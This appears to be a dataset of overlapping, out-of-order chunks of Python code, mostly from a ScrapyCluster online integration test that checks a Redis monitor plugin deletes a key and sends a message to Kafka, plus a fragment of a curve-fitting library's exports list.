"\"EddingtonException\", \"FitFunctionRuntimeError\", \"FitFunctionLoadError\", \"FitDataError\", \"FitDataColumnExistenceError\", \"FitDataColumnIndexError\", \"FitDataInvalidFile\", \"FitDataColumnsLengthError\", \"FitDataInvalidFileSyntax\", # Data structures \"FitData\",",
"\"FitFunction\", \"fit_function\", \"FitFunctionsRegistry\", # Fit functions \"constant\", \"exponential\", \"hyperbolic\", \"linear\", \"parabolic\", \"polynom\", \"cos\","
] |
[
"<reponame>abael/ScrapyCluster<gh_stars>0 ''' Online integration tests ''' import unittest from unittest import TestCase from",
"mock import MagicMock import sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import",
"self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL']",
"= KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self):",
"test is ran self.consumer.seek(0, 2) # set the info flag key = \"info-test:blah\"",
"''' Custom Monitor so we can run this test live without interference '''",
"\"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff = None queue_key = \"link:istresearch.com:queue\"",
"test live without interference ''' regex = \"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self, settings)",
"None: break else: the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict) message_count += 1 self.assertEquals(message_count, 1)",
"we can run this test live without interference ''' regex = \"info-test:*\" def",
"import sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor from plugins.kafka_base_monitor",
"self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self): # we only want to go to",
"value): return_dict = { \"info-test\": value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase):",
"plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def",
"settings import redis import json class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so we can",
"is None: break else: the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict) message_count += 1 self.assertEquals(message_count,",
"to kafka message_count = 0 for message in self.consumer.get_messages(): if message is None:",
"'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins()",
"self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS']",
"SimpleConsumer import settings import redis import json class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so",
"plugins.kafka_base_monitor import KafkaBaseMonitor from kafka import KafkaClient, SimpleConsumer import settings import redis import",
"False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, }",
"settings) def handle(self, key, value): return_dict = { \"info-test\": value, \"appid\": \"someapp\" }",
"class TestRedisMonitor(TestCase): maxDiff = None queue_key = \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\")",
"the info flag key = \"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process",
"setup(self, settings): KafkaBaseMonitor.setup(self, settings) def handle(self, key, value): return_dict = { \"info-test\": value,",
"= redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\")",
"= \"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process the request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) #",
"MagicMock import sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor from",
"maxDiff = None queue_key = \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings =",
"test_sent_to_kafka(self): success = { u'info-test': \"ABC123\", u\"appid\": u\"someapp\" } # ensure it was",
"None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict",
"'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self): # we",
"\"demo_test.outbound_firehose\" ) def test_process_item(self): # we only want to go to the end",
"def setup(self, settings): KafkaBaseMonitor.setup(self, settings) def handle(self, key, value): return_dict = { \"info-test\":",
"\"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff = None queue_key = \"link:istresearch.com:queue\" def",
"import KafkaBaseMonitor from kafka import KafkaClient, SimpleConsumer import settings import redis import json",
"None) def test_sent_to_kafka(self): success = { u'info-test': \"ABC123\", u\"appid\": u\"someapp\" } # ensure",
"= {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\"",
"# we only want to go to the end now, not after this",
"message in self.consumer.get_messages(): if message is None: break else: the_dict = json.loads(message.message.value) self.assertEquals(success,",
"= { u'info-test': \"ABC123\", u\"appid\": u\"someapp\" } # ensure it was sent out",
"MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] = {",
"self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS']",
"def handle(self, key, value): return_dict = { \"info-test\": value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict)",
"Online integration tests ''' import unittest from unittest import TestCase from mock import",
"KafkaBaseMonitor from kafka import KafkaClient, SimpleConsumer import settings import redis import json class",
"from mock import MagicMock import sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor",
"only want to go to the end now, not after this test is",
"to go to the end now, not after this test is ran self.consumer.seek(0,",
"regex = \"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self, settings) def handle(self, key, value): return_dict",
"unittest import TestCase from mock import MagicMock import sys from os import path",
"message is None: break else: the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict) message_count += 1",
"import TestCase from mock import MagicMock import sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__))))",
"''' import unittest from unittest import TestCase from mock import MagicMock import sys",
"after this test is ran self.consumer.seek(0, 2) # set the info flag key",
"key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success = { u'info-test': \"ABC123\", u\"appid\":",
"info flag key = \"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process the",
"= self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] =",
"{ 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn = redis.Redis(",
"{} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" )",
"want to go to the end now, not after this test is ran",
"test_process_item(self): # we only want to go to the end now, not after",
"= RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] =",
"} self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff = None queue_key = \"link:istresearch.com:queue\" def setUp(self):",
"import RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor from kafka import KafkaClient, SimpleConsumer import settings",
"ran self.consumer.seek(0, 2) # set the info flag key = \"info-test:blah\" value =",
"{ u'info-test': \"ABC123\", u\"appid\": u\"someapp\" } # ensure it was sent out to",
"live without interference ''' regex = \"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self, settings) def",
"self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self): # we only",
"json class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so we can run this test live",
"self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn,",
"host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer =",
"2) # set the info flag key = \"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key,",
"message_count = 0 for message in self.consumer.get_messages(): if message is None: break else:",
"unittest from unittest import TestCase from mock import MagicMock import sys from os",
"json.loads(message.message.value) self.assertEquals(success, the_dict) message_count += 1 self.assertEquals(message_count, 1) if __name__ == '__main__': unittest.main()",
"set the info flag key = \"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value) #",
"'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'],",
"u\"appid\": u\"someapp\" } # ensure it was sent out to kafka message_count =",
"the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success = { u'info-test': \"ABC123\",",
"in self.consumer.get_messages(): if message is None: break else: the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict)",
"path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor from kafka import",
"} # ensure it was sent out to kafka message_count = 0 for",
"= MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] =",
"= None queue_key = \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\")",
"self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self): # we only want",
"Monitor so we can run this test live without interference ''' regex =",
"import unittest from unittest import TestCase from mock import MagicMock import sys from",
"self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff = None queue_key = \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor",
"= \"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process the request plugin =",
"self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn",
"else: the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict) message_count += 1 self.assertEquals(message_count, 1) if __name__",
"run this test live without interference ''' regex = \"info-test:*\" def setup(self, settings):",
"= \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None,",
"= { \"info-test\": value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff =",
"from plugins.kafka_base_monitor import KafkaBaseMonitor from kafka import KafkaClient, SimpleConsumer import settings import redis",
"\"link:istresearch.com:queue\" def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX']",
"self.consumer.seek(0, 2) # set the info flag key = \"info-test:blah\" value = \"ABC123\"",
"interference ''' regex = \"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self, settings) def handle(self, key,",
"self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success",
"\"ABC123\", u\"appid\": u\"someapp\" } # ensure it was sent out to kafka message_count",
"redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer",
"# ensure the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success = {",
"ensure the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success = { u'info-test':",
"process the request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the key is gone",
"the end now, not after this test is ran self.consumer.seek(0, 2) # set",
"'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn",
"SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self): # we only want to go",
"is ran self.consumer.seek(0, 2) # set the info flag key = \"info-test:blah\" value",
"KafkaClient, SimpleConsumer import settings import redis import json class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor",
"integration tests ''' import unittest from unittest import TestCase from mock import MagicMock",
"= { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn =",
"KafkaBaseMonitor.setup(self, settings) def handle(self, key, value): return_dict = { \"info-test\": value, \"appid\": \"someapp\"",
"= json.loads(message.message.value) self.assertEquals(success, the_dict) message_count += 1 self.assertEquals(message_count, 1) if __name__ == '__main__':",
"the request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key),",
"KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self): #",
"# process the request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the key is",
"self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success = { u'info-test': \"ABC123\", u\"appid\": u\"someapp\" } #",
"key, value): return_dict = { \"info-test\": value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class",
"TestCase from mock import MagicMock import sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from",
"self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def",
"is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success = { u'info-test': \"ABC123\", u\"appid\": u\"someapp\"",
"from kafka import KafkaClient, SimpleConsumer import settings import redis import json class CustomMonitor(KafkaBaseMonitor):",
"request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None)",
"= self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self):",
"100, } self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn =",
"kafka import KafkaClient, SimpleConsumer import settings import redis import json class CustomMonitor(KafkaBaseMonitor): '''",
"settings): KafkaBaseMonitor.setup(self, settings) def handle(self, key, value): return_dict = { \"info-test\": value, \"appid\":",
"False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None,",
"= False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100,",
"# set the info flag key = \"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value)",
"class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so we can run this test live without",
"sent out to kafka message_count = 0 for message in self.consumer.get_messages(): if message",
"import MagicMock import sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor",
"RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False",
"None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT'])",
"ensure it was sent out to kafka message_count = 0 for message in",
"self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor':",
"now, not after this test is ran self.consumer.seek(0, 2) # set the info",
"end now, not after this test is ran self.consumer.seek(0, 2) # set the",
"''' Online integration tests ''' import unittest from unittest import TestCase from mock",
"\"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self, settings) def handle(self, key, value): return_dict = {",
"handle(self, key, value): return_dict = { \"info-test\": value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key)",
"it was sent out to kafka message_count = 0 for message in self.consumer.get_messages():",
"= 0 for message in self.consumer.get_messages(): if message is None: break else: the_dict",
"import redis import json class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so we can run",
"{ \"info-test\": value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff = None",
"from unittest import TestCase from mock import MagicMock import sys from os import",
"os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor from",
"None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {}",
"'plugins.expire_monitor.ExpireMonitor': None, 'tests.tests_online.CustomMonitor': 100, } self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict =",
"without interference ''' regex = \"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self, settings) def handle(self,",
"to the end now, not after this test is ran self.consumer.seek(0, 2) #",
"def test_sent_to_kafka(self): success = { u'info-test': \"ABC123\", u\"appid\": u\"someapp\" } # ensure it",
"''' regex = \"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self, settings) def handle(self, key, value):",
"tests ''' import unittest from unittest import TestCase from mock import MagicMock import",
"we only want to go to the end now, not after this test",
"key = \"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process the request plugin",
"for message in self.consumer.get_messages(): if message is None: break else: the_dict = json.loads(message.message.value)",
"import json class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so we can run this test",
"import settings import redis import json class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so we",
") def test_process_item(self): # we only want to go to the end now,",
"self.redis_monitor._process_plugin(plugin) # ensure the key is gone self.assertEquals(self.redis_monitor.redis_conn.get(key), None) def test_sent_to_kafka(self): success =",
"from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor",
"value) # process the request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the key",
"success = { u'info-test': \"ABC123\", u\"appid\": u\"someapp\" } # ensure it was sent",
"value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process the request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin)",
"setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\"",
"flag key = \"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process the request",
"this test live without interference ''' regex = \"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self,",
"if message is None: break else: the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict) message_count +=",
"Custom Monitor so we can run this test live without interference ''' regex",
"def test_process_item(self): # we only want to go to the end now, not",
"u\"someapp\" } # ensure it was sent out to kafka message_count = 0",
"self.redis_monitor.redis_conn.set(key, value) # process the request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure the",
"break else: the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict) message_count += 1 self.assertEquals(message_count, 1) if",
"import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor from kafka",
"= \"info-test:*\" def setup(self, settings): KafkaBaseMonitor.setup(self, settings) def handle(self, key, value): return_dict =",
"\"info-test\": value, \"appid\": \"someapp\" } self._send_to_kafka(return_dict) self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff = None queue_key",
"\"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor':",
"u'info-test': \"ABC123\", u\"appid\": u\"someapp\" } # ensure it was sent out to kafka",
"self.redis_conn.delete(key) class TestRedisMonitor(TestCase): maxDiff = None queue_key = \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor =",
"was sent out to kafka message_count = 0 for message in self.consumer.get_messages(): if",
"self.redis_monitor.stats_dict = {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[ 'KAFKA_HOSTS']) self.kafka_conn.ensure_topic_exists(\"demo_test.outbound_firehose\") self.consumer = SimpleConsumer( self.kafka_conn, \"demo-id\",",
"= SimpleConsumer( self.kafka_conn, \"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self): # we only want to",
"out to kafka message_count = 0 for message in self.consumer.get_messages(): if message is",
"kafka message_count = 0 for message in self.consumer.get_messages(): if message is None: break",
"sys from os import path sys.path.append(path.dirname(path.dirname(path.abspath(__file__)))) from redis_monitor import RedisMonitor from plugins.kafka_base_monitor import",
"RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor from kafka import KafkaClient, SimpleConsumer import settings import",
"0 for message in self.consumer.get_messages(): if message is None: break else: the_dict =",
"self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor':",
"go to the end now, not after this test is ran self.consumer.seek(0, 2)",
"self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] = \"demo_test\" self.redis_monitor.settings['STATS_TOTAL'] = False self.redis_monitor.settings['STATS_PLUGINS'] = False",
"TestRedisMonitor(TestCase): maxDiff = None queue_key = \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings",
"from redis_monitor import RedisMonitor from plugins.kafka_base_monitor import KafkaBaseMonitor from kafka import KafkaClient, SimpleConsumer",
"the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict) message_count += 1 self.assertEquals(message_count, 1) if __name__ ==",
"import KafkaClient, SimpleConsumer import settings import redis import json class CustomMonitor(KafkaBaseMonitor): ''' Custom",
"queue_key = \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger =",
"def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock() self.redis_monitor.settings['KAFKA_TOPIC_PREFIX'] =",
"} self.redis_monitor.redis_conn = redis.Redis( host=self.redis_monitor.settings['REDIS_HOST'], port=self.redis_monitor.settings['REDIS_PORT']) self.redis_monitor._load_plugins() self.redis_monitor.stats_dict = {} self.kafka_conn = KafkaClient(self.redis_monitor.settings[",
"self.consumer.get_messages(): if message is None: break else: the_dict = json.loads(message.message.value) self.assertEquals(success, the_dict) message_count",
"redis import json class CustomMonitor(KafkaBaseMonitor): ''' Custom Monitor so we can run this",
"= False self.redis_monitor.settings['STATS_PLUGINS'] = False self.redis_monitor.settings['PLUGINS'] = { 'plugins.info_monitor.InfoMonitor': None, 'plugins.stop_monitor.StopMonitor': None, 'plugins.expire_monitor.ExpireMonitor':",
"so we can run this test live without interference ''' regex = \"info-test:*\"",
"\"info-test:blah\" value = \"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process the request plugin = self.redis_monitor.plugins_dict.items()[0][1]",
"this test is ran self.consumer.seek(0, 2) # set the info flag key =",
"can run this test live without interference ''' regex = \"info-test:*\" def setup(self,",
"\"demo-id\", \"demo_test.outbound_firehose\" ) def test_process_item(self): # we only want to go to the",
"\"ABC123\" self.redis_monitor.redis_conn.set(key, value) # process the request plugin = self.redis_monitor.plugins_dict.items()[0][1] self.redis_monitor._process_plugin(plugin) # ensure",
"= \"link:istresearch.com:queue\" def setUp(self): self.redis_monitor = RedisMonitor(\"localsettings.py\") self.redis_monitor.settings = self.redis_monitor.wrapper.load(\"localsettings.py\") self.redis_monitor.logger = MagicMock()",
